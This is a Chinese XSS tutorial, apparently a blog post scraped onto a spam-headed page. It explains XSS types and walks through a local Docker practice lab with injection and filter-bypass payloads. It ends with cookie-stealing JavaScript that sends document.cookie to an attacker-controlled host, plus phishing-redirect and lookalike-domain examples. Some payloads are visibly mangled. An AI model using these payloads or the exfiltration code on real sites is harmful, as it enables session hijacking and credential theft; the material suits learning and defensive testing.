国产亚洲精品福利在线无卡一,国产精久久一区二区三区,亚洲精品无码国模,精品久久久久久无码专区不卡

當(dāng)前位置: 首頁 > news >正文

云南城鄉(xiāng)建設(shè)網(wǎng)站如何自己創(chuàng)建網(wǎng)址

云南城鄉(xiāng)建設(shè)網(wǎng)站,如何自己創(chuàng)建網(wǎng)址,武漢市城鄉(xiāng)建設(shè)委員會官方網(wǎng)站,網(wǎng)站托管網(wǎng)站建設(shè)競價托管[漏洞篇]XSS漏洞 一、 介紹 概念 XSS:通過JS達到攻擊效果 XSS全稱跨站腳本(Cross Site Scripting),為避免與層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故縮寫為XSS。這是一種將任意 Javascript 代碼插入到其他Web用戶頁面里執(zhí)行以…

[漏洞篇]XSS漏洞

一、 介紹

概念

XSS:通過JS達到攻擊效果

XSS全稱跨站腳本(Cross Site Scripting),為避免與層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故縮寫為XSS。這是一種將任意 Javascript 代碼插入到其他Web用戶頁面里執(zhí)行以達到攻擊目的的漏洞。攻擊者利用瀏覽器的動態(tài)展示數(shù)據(jù)功能,在HTML頁面里嵌入惡意代碼。當(dāng)用戶瀏覽改頁時,這些潛入在HTML中的惡意代碼會被執(zhí)行,用戶瀏覽器被攻擊者控制,從而達到攻擊者的特殊目的,如 cookie竊取等。

危害

攻擊者通過Web應(yīng)用程序發(fā)送惡意代碼,一般以瀏覽器腳本的形式發(fā)送給不同的終端用戶。當(dāng)一個Web程序的用戶輸入點沒有進行校驗和編碼,將很容易的導(dǎo)致XSS。

攻擊者可通過JS腳本實現(xiàn):

1、網(wǎng)絡(luò)釣魚,包括獲取各類用戶賬號
2、竊取用戶cookies資料,從而獲取用戶隱私信息,或利用用戶身份進一步對網(wǎng)站執(zhí)行操作;
3、劫持用戶(瀏覽器)會話,從而執(zhí)行任意操作,例如非法轉(zhuǎn)賬、強制發(fā)表日志、電子郵件等
4、強制彈出廣告頁面、刷流量等
5、網(wǎng)頁掛馬;
6、進行惡意操作,如任意篡改頁面信息、刪除文章等
7、進行大量的客戶端攻擊,如ddos等
8、獲取客戶端信息,如用戶的瀏覽歷史、真實p、開放端口等
9、控制受害者機器向其他網(wǎng)站發(fā)起攻擊;
10、結(jié)合其他漏洞,如csrf,實施進步危害;
11、提升用戶權(quán)限,包括進一步滲透網(wǎng)站
12、傳播跨站腳本蠕蟲等

原理

形成XSS漏洞的主要原因是程序?qū)斎牒洼敵龅目刂撇粔驀栏?#xff0c;導(dǎo)致“精心構(gòu)造”的腳本輸入后,在輸?shù)角岸藭r被瀏覽器當(dāng)作有效代碼解析執(zhí)行從而產(chǎn)生危害。主要原因是:瀏覽器執(zhí)行了黑客帶有惡意的JS腳本。

分類

1. 反射型XSS

  • 概念:又稱非持久型XSS,這種攻擊方式往往具有一次性,只在用戶單擊時觸發(fā)。跨站代碼一般存在鏈接中,當(dāng)受害者請求這樣的鏈接時,跨站代碼經(jīng)過服務(wù)端反射回來,這類跨站的代碼通常不存儲服務(wù)
  • 常見注入點:網(wǎng)站的搜索欄、用戶登錄入口、輸入表單等地方,常用來竊取客戶端cookies或釣魚欺騙
  • 漏洞產(chǎn)生原因:一般是網(wǎng)站只是簡單地將用戶輸入的數(shù)據(jù)直接或未經(jīng)過完善的安全過濾就在瀏覽器中進行輸岀,導(dǎo)致輸岀的欻據(jù)中存在可被瀏覽器執(zhí)行的代碼數(shù)據(jù)
  • 攻擊方式:攻擊者通過電子郵件等方式將包含XSS代碼的惡意鏈接發(fā)送給目標(biāo)用戶。當(dāng)目標(biāo)用戶訪問該鏈接時,服務(wù)器接受該目標(biāo)用戶的請求并進行處理,然后服務(wù)器把帶有XSS的代碼發(fā)送給目標(biāo)用戶的瀏覽器,瀏覽器解析這段帶有XSS代碼的惡意腳本后,就會觸發(fā)XSS漏洞。由于此種類型的跨站代碼存在于URL中,所以黑客通常需要通過誘騙或加密變形等方式將存在惡意代碼的鏈接發(fā)給用戶,只有用戶點擊以后才能使得攻擊成功實施。
  • 反射型XSS攻擊流程:
    1.攻擊者尋找具有漏洞的網(wǎng)站
    2.攻擊者給用戶發(fā)了一個帶有惡意字符串的鏈接
    3.用戶點擊了該鏈接
    4.服務(wù)器返回HTML文檔,此時該文檔已經(jīng)包含了那個惡意字符串
    5.客戶端執(zhí)行了植入的惡意腳本,XSS攻擊就發(fā)生

2. 存儲型XSS

  • 概念:存儲型XSS( Stored xss Attacks),也是持久型XSS,比反射型XSS更具有威脅性。。攻擊腳本將被永久的存放在目標(biāo)服務(wù)器的數(shù)據(jù)庫或文件中。這是利用起來最方便的跨站類型,跨站代碼存儲于服務(wù)端(比如數(shù)據(jù)庫中)
  • 常見注入點:論壇、博客、留言板、網(wǎng)站的留言、評論、日志等交互處。
  • 漏洞產(chǎn)生原因:一般是由于Web應(yīng)用程序?qū)τ脩糨斎霐?shù)據(jù)的不嚴格,導(dǎo)致Web應(yīng)用程序?qū)⒑诳洼斎氲膼阂饪缯竟魯?shù)據(jù)信息保存在服務(wù)端的數(shù)據(jù)庫或其他文件形式中。
  • 攻擊方式:攻擊者在發(fā)帖或留言的過程中,將惡意腳本連同正常信息一起注入到發(fā)布內(nèi)容中。隨著發(fā)布內(nèi)容被服務(wù)器存儲下來,惡意腳本也將永久的存放到服務(wù)器的后端存儲器中。當(dāng)其他用戶瀏覽這個被注入了 惡意腳本的帖子時,惡意腳本就會在用戶的瀏覽器中得到執(zhí)行。
  • 存儲型XSS攻擊流程:
    1.用戶提交了一條包含XSS代碼的留言到數(shù)據(jù)庫
    2.當(dāng)目標(biāo)用戶查詢留言時,那些留言的內(nèi)容會從服務(wù)器解析之后加載出來
    3.瀏覽器發(fā)現(xiàn)有XSS代碼,就當(dāng)做正常的HTML和JS解析執(zhí)行

3. DOM型XSS

  • 概念:DoM是文檔對象模型( Document Object Model)的縮寫。它是HTML文檔的對象表示,同時也是外部內(nèi)容(例如 JavaScript)與HTML元素之間的接口。解析樹的根節(jié)點是“ Document"對象。DOM( Document object model),使用DOM能夠使程序和腳本能夠動態(tài)訪問和更新文檔的內(nèi)容、結(jié)構(gòu)和樣式。它是基于DoM文檔對象的一種漏洞,并且DOM型XSS是基于JS上的,并不需要與服務(wù)器進行交互。其通過修改頁面DOM節(jié)點數(shù)據(jù)信息而形成的ⅩSS跨站腳本攻擊。不同于反射型XSS和存儲型XSS,基于DOM的XSS跨站腳本攻擊往往需要針對具體的 Javascript DOM代碼進行分析,并根據(jù)實際情況進行XSS跨站腳本攻擊的利用。一種基于DOM的跨站,這是客戶端腳本本身解析不正確導(dǎo)致的安全問題
  • 注入點:通過js腳本對對文檔對象進行編輯,從而修改頁面的元素。也就是說,客戶端的腳本程序可以DOM動態(tài)修改頁面的內(nèi)容,從客戶端獲取DOM中的數(shù)據(jù)并在本地執(zhí)行。由于DOM是在客戶端修改節(jié)點的,所 以基于DOM型的XSS漏洞不需要與服務(wù)器端交互,它只發(fā)生在客戶端處理數(shù)據(jù)的階段。
  • 攻擊方式:用戶請求一個經(jīng)過專門設(shè)計的URL,它由攻擊者提供,而且其中包含XSS代碼。服務(wù)器的響應(yīng)不會以任何形式包含攻擊者的腳本,當(dāng)用戶的瀏覽器處理這個響應(yīng)時,DOM對象就會處理XSS代碼,導(dǎo)致存 在XSS漏洞。
  • 攻擊流程:
    1.攻擊者尋找具有漏洞的網(wǎng)站
    2.攻擊者給用戶發(fā)了一個帶有惡意字符串的鏈接
    3.用戶點擊了該鏈接
    4.服務(wù)器返回HTML文檔,但是該文檔此時不包含那個惡意字符串
    5.客戶端執(zhí)行了該HTML文檔里的腳本,然后把惡意腳本植入了頁面
    6.客戶端執(zhí)行了植入的惡意腳本,XSS攻擊就發(fā)生了
  • 反射型XSS與DOM型區(qū)別:
    1、反射型XSS攻擊中,服務(wù)器在返回HTML文檔的時候,就已經(jīng)包含了惡意的腳本;
    2、DOM型ⅩSS攻擊中,服務(wù)器在返回HTML文檔的時候,是不包含惡意腳本的;惡意腳本是在其執(zhí)行了非惡意腳本后,被注入到文檔里的
    通過JS腳本對對文檔對象進行編輯,從而修改頁面的元素。也就是說,客戶端的腳本程序可以DOM動態(tài)修改頁面的內(nèi)容,從客戶端獲取DOM中的數(shù)據(jù)并在本地執(zhí)行。由于DOM是在客戶端修改節(jié)點的,所以基于DOM型的XSS漏洞不需要與服務(wù)器端交互,它只發(fā)生在客戶端處理數(shù)據(jù)的階段。

4. 其他類型(MXSS、UXSS)

①MXSS(Mutation based Cross-Site-Scripting):突變型XSS
MXSS是一種利用瀏覽器中的解析器漏洞來執(zhí)行惡意腳本的攻擊方式。這種攻擊方式不僅可以竊取用戶的敏感信息,還可以篡改網(wǎng)頁內(nèi)容,甚至控制用戶會話。mXSS漏洞通常隱藏在前端代碼中,很難被發(fā)現(xiàn)。

原理:瀏覽器在解析HTML或修改DOM時(如通過innerHTML、框架的模板引擎等),可能對內(nèi)容進行重新編碼或結(jié)構(gòu)化調(diào)整。

HTML被認為是一種“寬容”的語言,因為它在遇到錯誤或意外代碼時具有寬容的特性。與一些更嚴格的編程語言不同,即使代碼編寫得不完美,HTML也會優(yōu)先顯示內(nèi)容。這種寬容的表現(xiàn)如下:
當(dāng)呈現(xiàn)錯誤的標(biāo)記時,瀏覽器不會崩潰或顯示錯誤信息,而是會嘗試盡可能地解釋和修復(fù)HTML。
例如:

  • 將轉(zhuǎn)義字符(如<)恢復(fù)為原始字符(<)。
  • 調(diào)整標(biāo)簽閉合順序或修復(fù)格式錯誤的HTML。
  • 這種自動修復(fù)行為可能使原本無害的轉(zhuǎn)義內(nèi)容被還原為可執(zhí)行的腳本。

案例1:

用戶輸入<img src=x οnerrοr=alert(1)>被轉(zhuǎn)義為<img src=x οnerrοr=alert(1)>后插入到DOM中。若后續(xù)通過innerHTML將內(nèi)容修改為:

// escapedContent為轉(zhuǎn)義后的字符串
div.innerHTML = "User input: " + escapedContent;

瀏覽器可能將<解析為<,導(dǎo)致標(biāo)簽被重建并執(zhí)行onerror事件。

案例2:瀏覽器自動修復(fù)

攻擊者提交格式錯誤的HTML片段(如未閉合的標(biāo)簽

②UXSS(Universal Cross-Site Scripting):通用型XSS
通用型XSS,也叫Universal XSS。UXSS保留了基本XSS的特點,利用漏洞,執(zhí)行惡意代碼,但是有一個重要的區(qū)別:不同于常見的XSS,UXSS是一種利用瀏覽器或者瀏覽器擴展漏洞來制造產(chǎn)生XSS的條件并執(zhí)行代碼的一種攻擊類型。

通俗的說,就是原來我們進行XSS攻擊等都是針對Web應(yīng)用本身,是因為Web應(yīng)用本身存在漏洞才能被我們利用攻擊;而UXSS不同的是通過瀏覽器或者瀏覽器擴展的漏洞來”制作ⅩSS漏洞”,然后剩下的我們就可以像普通XSS那樣利用攻擊了。

簡單的說,UXSS不需要—個漏洞頁面來觸發(fā)攻擊,它可以滲透入安全沒有問題的頁面,從而創(chuàng)造一個漏洞,而該頁面原先是安全無漏洞的。 不僅是瀏覽器本身的漏洞,現(xiàn)在主流瀏覽器都支持擴展程序的安裝,而眾多的瀏覽器擴展程序可能導(dǎo)致帶來更多的漏洞和安全問題。 因為UXSS攻擊不需要頁面本身存在漏洞,同時可能訪問其他安全無漏洞頁面,使得UXSS成為XSS里危險和最具破壞性的攻擊類型之一

二、 實戰(zhàn)演示

靶場搭建

本地需要有docker環(huán)境,這里主要通過docker搭建靶場。

# 拉取鏡像
docker pull c0ny1/xss-challenge-tour # 運行容器
docker run -dt --name xss -p 8080:80 --rm c0ny1/xss-challenge-tour 
# docker run -dt --name xss -p 8081:80 --rm c0ny1/xss-challenge-tour 

輸入http://localhost:8080/訪問靶場:
在這里插入圖片描述

實戰(zhàn)

Pass01:直接<script>構(gòu)造js

  1. 我們來到第一關(guān)
    在這里插入圖片描述

  2. 發(fā)現(xiàn)頁面有展示test,而test的參數(shù)來源于name=test,也就是頁面會反顯URL中的name值。此時我們嘗試將name后面改為js腳本:<script>alert(‘xss’)</script>,讓瀏覽器在反顯階段執(zhí)行js,最終實現(xiàn)xss注入。
    在這里插入圖片描述

  3. 回車,瀏覽器成功將js解析,成功完成xss注入
    在這里插入圖片描述

Pass02:閉合構(gòu)造js

  1. 我們來到第二關(guān),搜索框內(nèi)輸入第一關(guān)的JS腳本:<script>alert(‘xss’)</script>。點擊搜索發(fā)現(xiàn)頁面并沒有執(zhí)行js
    在這里插入圖片描述
  2. 我們f12查看元素,發(fā)現(xiàn)輸入的js腳本被當(dāng)做了value值,因此瀏覽器并沒有執(zhí)行我們注入的js在這里插入圖片描述
  3. 此時,我們可以在之前的腳本內(nèi)容添加"> 實現(xiàn)對input標(biāo)簽value值的閉合,于是我們的注入腳本就變成了
"> <script>alert('xss')</script>
  1. 點擊搜索,成功通關(guān)
    在這里插入圖片描述

Pass03:其他屬性,onmouseover

  1. 輸入我們第二關(guān)的腳本"> <script>alert(‘xss’)</script> 發(fā)現(xiàn)不起作用,的<>已經(jīng)被過濾掉了,無法構(gòu)成完整的腳本
    在這里插入圖片描述
  2. 因為此時是在input標(biāo)簽內(nèi)部,所以我們可以利用其他的語法來實現(xiàn)注入,并且不添加</script>,比如onmouseover屬性,當(dāng)鼠標(biāo)移動到該位置時,觸發(fā)。注入腳本:
xx' onmouseover='alert(/xss/)

在這里插入圖片描述
3. 現(xiàn)在,我們只需要將鼠標(biāo)移動到input搜索框中,觸發(fā)onmouseover事件即可
在這里插入圖片描述

Pass04:引號變化

  1. 來到第四關(guān),我們發(fā)現(xiàn)第三關(guān)的腳本無法使用了,因為構(gòu)造的引號方式閉合問題,導(dǎo)致無法使用。
xx' onmouseover='alert(/xss/)

在這里插入圖片描述

  1. 于是自然而然就想到,將注入腳本的單引號換成雙引號
xx" onmouseover="alert(/xss/)

在這里插入圖片描述

Pass05:偽鏈接

  1. 來到第五關(guān),我們輸入之前注入的腳本:xx" onmouseover="alert(/xss/),發(fā)現(xiàn)on被替換為了o_n,于是onmouseover事件就失效了
    在這里插入圖片描述
  2. 事件無法使用了,下面我們可以嘗試通過偽鏈接方式假造一個超鏈接嘗試
# 新增a標(biāo)簽,注入鏈接,點擊后隨機觸發(fā)腳本
"> <a href="javascript:alert('xss')">點我一下</a>

在這里插入圖片描述
3. 點擊超鏈接,成功觸發(fā)腳本
在這里插入圖片描述

Pass06:大小寫繞過

  1. 輸入XSS腳本嘗試:"><script>alert(/xss/)</script>發(fā)現(xiàn)script關(guān)鍵字被過濾
    在這里插入圖片描述
  2. 我們首先想到大小寫繞過,嘗試一下
"><SCRIPT>alert(/xss/)</SCRIPT>
  1. 發(fā)現(xiàn)成功繞過
    在這里插入圖片描述

Pass07:雙寫繞過

  1. 我們輸入腳本嘗試:"><script>alert(/xss/)</script>發(fā)現(xiàn)整個script被替換為空
    在這里插入圖片描述
  2. 遇到這種替換的,我們需要有一定敏感性,首先應(yīng)該想到雙寫繞過
111"><scrscriptipt>alert(/xss/)</scrscriptipt>
  1. 發(fā)現(xiàn)成功繞過,執(zhí)行腳本
    在這里插入圖片描述

Pass08:HTML字符實體編碼繞過

  1. 我們嘗試腳本"><script>alert(/xss/)</script>,發(fā)現(xiàn)script被過濾
    在這里插入圖片描述
  2. 我們嘗試javascript:alert(‘xss’)發(fā)現(xiàn)也被過濾替換
    在這里插入圖片描述
  3. 此時,我們可以嘗試編碼,將javascript:alert(‘xss’)進行編碼

編碼在線地址:https://config.net.cn/tools/HtmlEncode.html

在這里插入圖片描述

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;

在這里插入圖片描述
4. 點擊友情鏈接,發(fā)現(xiàn)成功觸發(fā)腳本
在這里插入圖片描述

Pass09:http協(xié)議頭繞過

  1. 來到第九關(guān),發(fā)現(xiàn)還是合法鏈接類型,于是嘗試第八關(guān)的腳本,發(fā)現(xiàn)提示我們鏈接不合法
# 編碼前內(nèi)容:javascript:alert('xss')
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;

在這里插入圖片描述
2. 看來是我們編碼前內(nèi)容不滿足鏈接格式,作為超鏈接,需要http://或https://,于是我們猜測后端有校驗傳入的鏈接中是否有包含http,我們在編碼后的腳本末尾添加上//http://,//用于注釋后面的http://

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;//http://

在這里插入圖片描述
3. 點擊鏈接,發(fā)現(xiàn)能正常被觸發(fā)
在這里插入圖片描述

Pass10:隱藏輸入框繞過

  1. 來到第10關(guān),我們發(fā)現(xiàn)頁面沒有輸入框讓我們傳參,但我們知道,輸入框只是讓用戶輸入?yún)?shù)的一種方式,沒有輸入框我們也可以進行傳參,先看看源碼,觀察需要我們輸入什么參數(shù)
    在這里插入圖片描述
  2. 我們嘗試在URL上輸入這三個參數(shù)?t_link=1&t_history=2&t_sort=3
    在這里插入圖片描述
  3. 這下我們找到了XSS注入點,我們可以通過t_sort參數(shù)構(gòu)造攻擊腳本,輸入?t_sort=<script>alert(/xss/)</script>,發(fā)現(xiàn)<script>被過濾
    在這里插入圖片描述
  4. 于是我們需要嘗試不帶<>的攻擊腳本,因為是輸入框,我們可以嘗試點擊事件,onclick
# 這里的type=""是為了覆蓋原有的tpye=hidden,讓輸入框暴露出來,這樣我們才能點擊觸發(fā)腳本
" onclick="alert(/xss/)" type=""

在這里插入圖片描述
5. 我們點擊輸入框,發(fā)現(xiàn)成功觸發(fā)腳本
在這里插入圖片描述

Pass11:Referer請求頭注入

  1. 我們嘗試上面的注入方式,發(fā)現(xiàn)沒有效果
# 這里的type=""是為了覆蓋原有的tpye=hidden,讓輸入框暴露出來,這樣我們才能點擊觸發(fā)腳本
" onclick="alert(/xss/)" type=""
  1. 此時我們可以嘗試HTTP請求頭,多次嘗試之后,我們發(fā)現(xiàn)HTTP 的Referer對應(yīng)的值,會反顯到我們的form表單t_ref里。

tips:如果發(fā)現(xiàn)bp代理失效,抓不到包,可能是因為bp默認代理端口與我們靶場端口沖突了(8080),只需要重新配置bp代理端口或修改docker靶場映射端口即可

在這里插入圖片描述
可以看到t_ref里的值已經(jīng)成功變?yōu)榱宋覀僐eferer的值:
在這里插入圖片描述
下面我們就可以構(gòu)造XSS語句,通過修改HTTP Referer實現(xiàn)XSS:

Referer: " onmouseover="alert(1)" type="text"  

在這里插入圖片描述
觸發(fā)XSS:
在這里插入圖片描述
在這里插入圖片描述

Pass12:User-Agent注入

Pass11 嘗試過了Referer,下面我們猜測t_ua指的是HTTP請求頭中的User-Agent,同時我們通過t_ua對應(yīng)的值其實也可以看出來。本地電腦的User-Agent會反顯到這個表單的t_ua里。
在這里插入圖片描述
于是,步驟與上面一致,我們bp抓包修改User-Agent:

//點擊觸發(fā)
User-Agent: " onclick="alert(/xss/)" type="text  

在這里插入圖片描述

Pass13:Cookie注入

來到本關(guān),有了前面兩關(guān)的經(jīng)驗,我們猜測這個隱藏表單里最后一個輸入框,對應(yīng)的其實是HTTP請求頭的字段。那么t_cook,我們猜測是HTTP請求頭中的Cookie。
在這里插入圖片描述
老規(guī)矩,還是通過Burpsuite抓包,然后注入XSS語句:
在這里插入圖片描述
點擊輸入框,觸發(fā)XSS:
在這里插入圖片描述

Pass14:圖片EXIF注入

來到14關(guān),我們發(fā)現(xiàn)頁面直接黑屏,沒有任何內(nèi)容
在這里插入圖片描述
我們F12打開開發(fā)者工具,發(fā)現(xiàn)頁面存在iframe標(biāo)簽,頁面通過<iframe>加載外部圖片查看器,理論上需利用圖片EXIF信息注入XSS,即需上傳包含惡意腳本的圖片,利用解析EXIF的漏洞觸發(fā)XSS

在這里插入圖片描述
使用工具(如exiftool)修改圖片EXIF注釋:

exiftool -Comment='<img src=1 onerror=alert(1)>' image.jpg  

然后我們上傳圖片,讓頁面解析,觸發(fā)xss漏洞。

Pass15:JS動態(tài)包含漏洞注入

來到第15關(guān),我們發(fā)現(xiàn)只有一張圖片:
在這里插入圖片描述
繼續(xù)查看源碼,我們發(fā)現(xiàn)本關(guān)使用的是AngularJS的ng-include動態(tài)包含文件
在這里插入圖片描述
于是我們可以通過src參數(shù)引用外部文件,這里我們利用ng-include包含存在漏洞的Level1頁面,并傳遞XSS Payload,構(gòu)造URL參數(shù):

# 我們將外部文件的src鏈接指向第一關(guān),并通過URL Payload構(gòu)造XSS
# src后面拼接的參數(shù)將會被反顯到頁面的ng-include中
http://靶場地址/level15.php?src='level1.php?name=<img src=1 onerror=alert(1)>'  

因為我環(huán)境不滿足,所以這里貼一張別人的通關(guān)的效果圖:
在這里插入圖片描述

Pass16:編碼繞過

我們發(fā)現(xiàn)keyword中的值會被反顯到頁面中:
在這里插入圖片描述
同時經(jīng)過測試,該關(guān)卡過濾了空格和script關(guān)鍵字,但未過濾尖括號,由于HTML中換行符%0a或%0d可替代空格,可以用于拼接事件屬性。故構(gòu)造payload如下:

<img%0dsrc=a%0donerror=alert(1)>

在這里插入圖片描述

Pass17:flash事件觸發(fā)

觀察頁面源碼發(fā)現(xiàn),本關(guān)直接將URL后面的參數(shù)拼接到了embed中:
在這里插入圖片描述
在這里插入圖片描述
利用這個特性,我們可以第二參數(shù)傳入XSS Payload,構(gòu)造XSS:

arg01=a&arg02=%20onmouseover=alert`1`

在這里插入圖片描述

Pass18:flash事件觸發(fā)

本關(guān)payload與pass17相同:

arg01=a&arg02=%20onmouseover=alert`1`

在這里插入圖片描述

Pass19:flash漏洞

本關(guān)是利用Flash XSS漏洞,需利用flash自身漏洞

原理:利用Flash文件(.swf)的參數(shù)處理缺陷,通過分析反編譯后的Flash代碼(如使用JPEXS工具),發(fā)現(xiàn)arg01=version時,arg02的值會被拼接到Flash的鏈接邏輯中,雖然參數(shù)通過htmlspecialchars實體化處理,但Flash內(nèi)部未對href屬性內(nèi)容充分過濾,且允許通過javascript:協(xié)議執(zhí)行代碼,故可以構(gòu)造payload
關(guān)鍵:
arg01需設(shè)置為version 觸發(fā)Flash中特定邏輯
arg02需構(gòu)造包含惡意代碼的HTML標(biāo)簽
通過<a>標(biāo)簽的href屬性注入javascript:協(xié)議代碼

構(gòu)造后的payload:

?arg01=version&arg02=<a href="javascript:alert(1)">xss</a>?arg01=a&arg02="onmouseover=alert`1` "

這里我環(huán)境不允許,大家可以自行嘗試(其他人的效果圖貼到這里了):
在這里插入圖片描述

Pass20:zeroclipboard.swf漏洞

本關(guān)通過標(biāo)簽加載xsf04.swf文件(實際為zeroclipboard.swf的漏洞版本),而存在核心漏洞是Flash代碼未對參數(shù)進行嚴格過濾,導(dǎo)致通過URL參數(shù)注入惡意代碼

故反編譯zeroclipboard.swf后分析源碼:

  • 可以看到Flash通過LoaderInfo從URL參數(shù)arg01和arg02中讀取值
    在這里插入圖片描述
  • 關(guān)鍵漏洞函數(shù)為ExternalInterface.call
    在這里插入圖片描述
    用于與JavaScript交互。故需構(gòu)造參數(shù)閉合arg02原有邏輯并插入惡意代碼。
    得到:
?arg01=id&arg02=xss\"))}catch(e){alert(/xss/)}//%26width%26height

在這里插入圖片描述

三、繞過手段

1. 前端過濾

有些防止XSS是通過前端js判斷的,此時我們就可以BrupSuite抓包繞過或禁用js。

BrupSuite抓包改包繞過。

2. 雙寫繞過

<scri<script>pt>alert(xss)</scri<script>pt>

3. 事件過濾

替換其他事件,如:onclick,onmousemove事件

4. 大小寫繞過

<SCRIPT>aLeRT(111)</sCRIpt>

5. 注釋干擾繞過

如:<scri<!–test–> pt> alert(xss);</scr<!–test–> ipt>

6. 偽協(xié)議繞過

如:

 111"> <a href= "javascript:alert(document.domain)">xss </a>< table background= "javascript:alert(/xss/)"> </table><img srC= "javascript:alert('ss);" >

7. 回車/空格/Tab繞過

// 回車
< img src= "javascript:alert('xss');" >// 空格
<img src= "javascript:alert('xss');" >// Tab
< img src= "javasc :ript:alert('ss');" >

8. 編碼繞過

Base64、JS編碼、16進制、Unicode編碼、HTML實體編碼、URL編碼

  1. Base64編碼繞過

如果過濾了 < > ’ " script,可以用base64編碼,eval(") eval函數(shù)把字符串 當(dāng)做程序執(zhí)行atob函數(shù)是將base64密文轉(zhuǎn)換為明文。
base64編碼多用于如下兩種情況:

  1. <a href= “可控點”>
  2. < iframe src= “可控點”>
    舉例:
    <a href= “data:text/html;base64,PGItZyBzcmM9eCBvbmVycm9yPWFsZXJOKDEpPg==”>test<
    /a>
    這樣當(dāng)test A鏈接點擊時就會以data協(xié)議頁面以html/text的方式解析編碼為base64然后單點擊a鏈接時base64的編碼就被還原成我們原本的< img src=x οnerrοr= alert(1)>
  1. JS編碼

八進制:三個八進制數(shù)字,如果個數(shù)不夠,在前面補0,例如"e’的編碼為"\145"

  1. 16進制編碼

兩個十六進制數(shù)字,如果個數(shù)不夠,在前面補0,'e’的編碼為"\x65"
十六進制前面加上\x可以被JS識別
尖括號被轉(zhuǎn)義時,利用十六進制繞過
如:\x3cscript\x3ealert(document.domain);\x3c/script\x3e

  1. Unicode編碼繞過

四個十六進制數(shù)字,如果個數(shù)不夠,在前面補0,'e’的編碼為"\u0065"
十六進制前面加上\u00變成JS可識別的Unicode編碼
\u003cscript\u003ealert(document.domain);\u003c/script\u003e

  1. HTML編碼繞過

字符編碼:十進制、十六進制編碼,樣式為"&#數(shù)值;“,例如”<“可以編碼為”<和"<"
<img src="x"οnerrοr= “al&# 101;r 16;(1)”>
瀏覽器是不會在html|標(biāo)簽里解析js編碼的,所以我們在οnerrοr=后面放js中的編碼是不會解析你放進去是什么就是什么。HTML5新增的實體命名編碼:
: => [冒號]
=> [換行]
<a href= “javasc ript:alert(1)”>click

  1. URL編碼

進行兩次URL全編碼

9. CSS繞過

  1. IE特性繞過XSS
  2. CSS特性繞過XSS
  3. IE中利用CSS觸發(fā)XSS
  1. 利用IE特性繞過XSS

IE中兩個反單引號hgj `` 可以閉合一個左邊雙引號
``οnmοusemοve= alert(1)

  1. CSS特性繞過XSS

設(shè)置background:url,利用JavaScript偽協(xié)議執(zhí)行js,目前只有IE瀏覽器支持
background-color:# f00;background:url(javascript:alert(document.domain);");
低版本IE瀏覽器6 10 D版本彈窗成功

  1. IE中利用CSS觸發(fā)XSS

CSS中的注釋//
xss:expres/
/sion(if(!window.x){alert(document.domain);window.x= 1;})

四、漏洞利用

1. Cookie竊取

下面這個URL包含了受害者Cookie信息,當(dāng)瀏覽器加載此圖像時,會自動向指定的服務(wù)器發(fā)起GET請求,請求參數(shù)中攜帶著竊取的Cookie。

  1. 創(chuàng)建圖像對象:通過document.createElement(‘img’)創(chuàng)建一個新的<img>元素
  2. 設(shè)置源地址(src屬性):將圖像的src屬性設(shè)置為攻擊者控制的服務(wù)器地址,并附帶上受害者當(dāng)前頁面的Cookie。這里使用encodeURIComponent()函數(shù)對document.cookie返回的Cookie值進行URL編碼,確保任何特殊字符不會導(dǎo)致URL格式錯誤
img.src = 'http://attacker-controlled-server.com/track?cookie=' + encodeURIComponent(document.cookie);
  1. 隱藏圖像:為了隱蔽操作,通常將圖像樣式設(shè)置為display: none;,使其在頁面上不可見,避免引起用戶的警覺。
img.style.display = 'none';
  1. 插入到文檔:最后,將這個帶有惡意目的的圖像元素添加到網(wǎng)頁的document.body中。瀏覽器會立即開始加載圖像,從而觸發(fā)了向攻擊者服務(wù)器發(fā)送帶有Cookie數(shù)據(jù)的HTTP請求。
document.body.appendChild(img);
  1. 攻擊者在其控制的服務(wù)器端接收并記錄這些攜帶Cookie信息的請求,隨后可以解析出Cookie值,用于后續(xù)的攻擊活動,如偽造身份登錄、實施欺詐操作等。
    除了這種場景也可以通過評論區(qū)頁面,進行XSS會話劫持

完整XSS攻擊代碼:

var img = document.createElement('img');
img.src = 'http://attacker-controlled-server.com/track?cookie=' + encodeURIComponent(document.cookie);
img.style.display = 'none'; // 隱藏圖片以避免引起用戶注意
document.body.appendChild(img); // 將圖片元素插入到頁面中,觸發(fā)HTTP請求

2. 重定向到釣魚網(wǎng)站(獲取用戶賬號密碼等)

通過下面代碼可直接將用戶頁面重定向到釣魚網(wǎng)站,截取用戶敏感信息

<script>window.location.href = "http://釣魚.com/";</script>
  1. 黑客通過郵件等方式誘導(dǎo)用戶點擊進入qq空間(實際是釣魚網(wǎng)站),比如說qq空間限時領(lǐng)取黃鉆、vip等,誘導(dǎo)用戶點擊鏈接
    在這里插入圖片描述
    釣魚網(wǎng)站最直觀的就是看域名,可以看到目標(biāo)網(wǎng)站域名 :qq.xps.com 盡管域名中出現(xiàn)了 qq 字樣,但是一級域名卻是 xps.com 這一點就直接暴露了釣魚網(wǎng)站的本性。
    但早期還有一種利用拉丁字母注冊的域名偽造釣魚網(wǎng)站的案例,這種就比較逼真了,下面國光簡單列舉一些:
# 真域名
www.oppo.com
# 假域名
www.οppο.com
# 真域名
www.vip.com
# 假域名
www.νip.com
  1. 用戶看到qq空間,輸入自己的 QQ 賬號和密碼信息,點擊登錄后域名跳轉(zhuǎn)到真正的 QQ 官網(wǎng)
    但第一次輸入點擊登錄后不會讓用戶登錄成功(因為是釣魚網(wǎng)站并非真實網(wǎng)站,沒有登錄后臺功能等),而是立即跳轉(zhuǎn)至真實網(wǎng)站登錄頁。
    然后用戶再輸入自己的 QQ 賬號和密碼就可以成功登陸了。目前很多釣魚網(wǎng)站都是這種思路,這可以讓被釣者產(chǎn)生一種自己第一次是密碼不小心輸入錯誤的錯覺,從而放松警惕。
    在這里插入圖片描述
  2. 然后黑客就可以拿到用戶的賬號密碼了
